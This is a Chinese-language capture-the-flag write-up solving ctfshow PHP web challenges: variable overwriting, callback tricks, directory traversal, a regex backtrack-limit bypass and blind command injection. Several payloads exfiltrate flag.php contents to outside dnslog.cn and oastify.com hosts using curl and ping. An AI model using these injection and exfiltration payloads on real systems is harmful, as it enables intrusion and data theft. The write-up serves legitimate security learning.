解答:本题有waf,限制了一些特殊字符。题中有extract,所以是要实现变量覆盖,令ctf_show=ilove36d。
extract可以从数组中将变量导入到当前的符号表,本题限制了中括号,看一下输入字符串是否可行。
本题测试一下,确认?ctf_show=ilove36d
可以覆盖变量ctf_show。
题目中下划线也被限制了,可以用空格绕过。
解答:f1不能有数字和大小写字母。
call_user_func 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
两个call_user_func,第一个函数可以有一个参数,返回的第二个函数是无参数函数。
本题又是一个新的知识点。
gettext():获取的文本框当前输入内容的方法,返回内容。_()
是gettext()函数的简写形式,需要php扩展目录下有php_gettext.dll才能使用。
学习一下:关于php中gettext的用法
需要多语言支持的字符串可以使用gettext函数包装起来,其输出的内容取决于.mo
文件的设置。
?f1=_&f2=phpinfo
测试phpinfo()。
get_defined_vars():返回由所有已定义变量所组成的数组。
当前文件包含flag.php,直接打印$flag
变量。
payload: ?f1=_&f2=get_defined_vars
解答:
stripos :查找字符串首次出现的位置(不区分大小写)。
readfile读取文件,$f
里ctfshow不能在首位,可以利用目录穿越。
payload:?f=/ctfshow/../../../var/www/html/flag.php
解答:这题有点意外,最开始正则没看懂,就打算先输入ctfshow试试,直接出flag了。
1)第一个判断。
.+?
表示匹配任意字符一个或则多个。
.*?
表示匹配任意字符0个或多个。
.
匹配除换行符 \n 之外的任何单字符。+
匹配前面的子表达式一次或多次。?
匹配前面的子表达式零次或一次,或指明一个非贪婪限定符。/i
不区分大小写/s
匹配任何空白字符,包括空格、制表符、换页符等等。题中整个正则表达式的意思就是,以任意一个或多个字符开头,遇到ctfshow就匹配,不区分大小写,不能有任何空白字符。
也就是说输入的内容里,ctfshow前面不能有字符。
2)第二个判断。stripos函数如果未发现字符串将返回 FALSE。
全等于的条件是必须双方的类型也一样,所以ctfshow在首位返回的0与FLASE不全等。
所以payload-post:f=ctfshow
进一步学习:正则表达式
解答:这道题既要求ctfshow不在首位就匹配,又要求有36Dctfshow,非常的矛盾,所以只能找办法突破规则。
正则匹配中对回溯数和嵌套数进行了最大限制。
默认的backtrack_limit(最大回溯数)是100000,recursion_limit(最大嵌套数)是100000。具体可以看一下:深悉正则(pcre)最大回溯/递归限制@Laruence
正则匹配默认是贪婪模式;在量词后面直接加上一个问号?
就是非贪婪模式。非贪婪匹配就是匹配到就结束,匹配尽可能少的字符。
所以如下图可以看到,回溯了2次,嵌套3个。
非贪婪模式容易导致太多回溯。
嵌套太多,可能会造成耗尽栈空间爆栈。
设置payload:最终payload太大放不上来。
echo str_repeat('very', '250000').'36Dctfshow';
?>
解答:大制作,是个博客网站。先robots.txt看一下,发现后台页面。
访问获取源码,其中第二个if条件判断里有||
,那么只要$username ==="admin"
即可满足整个判断。
最后的payload:?username=admin&password=&code=admin
最后说一下,payload逻辑:第一个$code === mt_rand(1,0x36D)
为false后,会跳过$password === $flag
,开始执行||
后的 $username ==="admin"
,条件满足,成功。
解答:代码限制了一些命令执行函数,同时输入的内容只读取前6个字符。
因为substr只是截取前6个字符,并不会改变$F
的值,那么如果传递的值就是$F
本身。
wp参考:Firebasky博客
利用`$F`;让eval执行shell语句。
这一串字符长度是5,加个空格,满足substr的6个字符截取,让eval执行`$F`;
如传递`$F`;+sleep 3,页面会sleep一会。具体执行过程如下:
==>php: eval(substr($F,0,6));
==>php: eval("`$F`; ");
==>php: eval("``$F`; sleep 3`; ");
==>shell: `$F`; sleep 3
所以就执行了sleep 3
因为反引号并不会回显执行结果,而且touch 1
测试,访问/1
没有,所以当前目录不可写。
可以发起DNS请求外带数据。(具体原理可看下面的“进一步学习”)
方法一:在线dnslog
dnslog获取一个域名.0iix2r.dnslog.cn
。
利用dnslog实现命令回显。
类unix:
curl http://haha.0iix2r.dnslog.cn/`whoami`
ping `whoami`.0iix2r.dnslog.cn
当ping一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
payload1:
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.0iix2r.dnslog.cn -c 1
flag.php是多行,需要grep一下,其次不能含有特殊符号,所以tr设置一下返回结果只携带字母和数字。
refresh刷新一下,获取flag。
flag是uuid格式:8-4-4-4-12
ctfshow{e4c49c5f-d0d8-4bf9-a623-e57c7fff3364}
方法二:用burp,使用curl -F命令。
-F 为带文件的形式发送post请求
将flag文件上传到Burp的 Collaborator客户端,类似DNSLOG,但其还可以查看POST请求包、打Cookies)
获取一个域名地址a5gz0n8cbi54cxyp932j216c73dt1i.oastify.com
payload2:(后面域名修改为自己获取的)
?F=`$F`;+curl -X POST -F xx=@flag.php http://a5gz0n8cbi54cxyp932j216c73dt1i.oastify.com
意思就是让服务器向Collaborator客户端发送post请求,内容是flag.php。
(题目过期了,重开了一个题目)
查看发送至collabarator的请求包(request to collaborator),获取flag。
payload1用burp的实现。
payload3:方法一里提到的命令回显,除了ping还可以用curl,正好用burp测试一下。
?F=`$F`; curl http://a5gz0n8cbi54cxyp932j216c73dt1i.oastify.com/`cat flag.php | grep ctfshow`
进一步学习:
这个里面的写的挺全面的:巧用DNSlog实现无回显注入@Afant1
有兴趣可以自己搭建一个平台:回显机制平台 dnslog 搭建@whatday
解答:看到parse_str和extract。变量覆盖
第一条if判断,要求key1和key2不能通过get和post传递。
parse_str是对get请求进行的内容解析成变量。例如传递?a=1
,执行后就是$a=1
。
那么相对的,传递_POST
,就是对$_POST
进行赋值,正好就可以绕过if条件对post的限制。
extract() 函数从数组中将变量导入到当前的符号表。
payload:?_POST[key1]=36d&_POST[key2]=36d
解答:限制了许多命令,ping可以用,读取命令nl
可以用。
grep被限制了,可以用awk指定行号输出,不过需要逐行测试,在15行有flag。或者参考之前flag的格式,也可以推测出来是15。
这个题还把flag分成了两个,行号15和16,需要拼接一下。
payload:
?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd '[a-z]'/'[0-9]'`.i1k4phddlneygl58oqbjxv93full9a.oastify.com
解答:
tee
用于显示程序的输出并将其复制到一个文件中。
payload:?c=ls |tee 1
,访问1发现当前目录没有flag文件。
?c=ls / |tee 1
,发现f149_15_h3r3文件。
?c=cat /f149_15_h3r3|tee 1
获取flag。
要多掌握一些linux命令才行。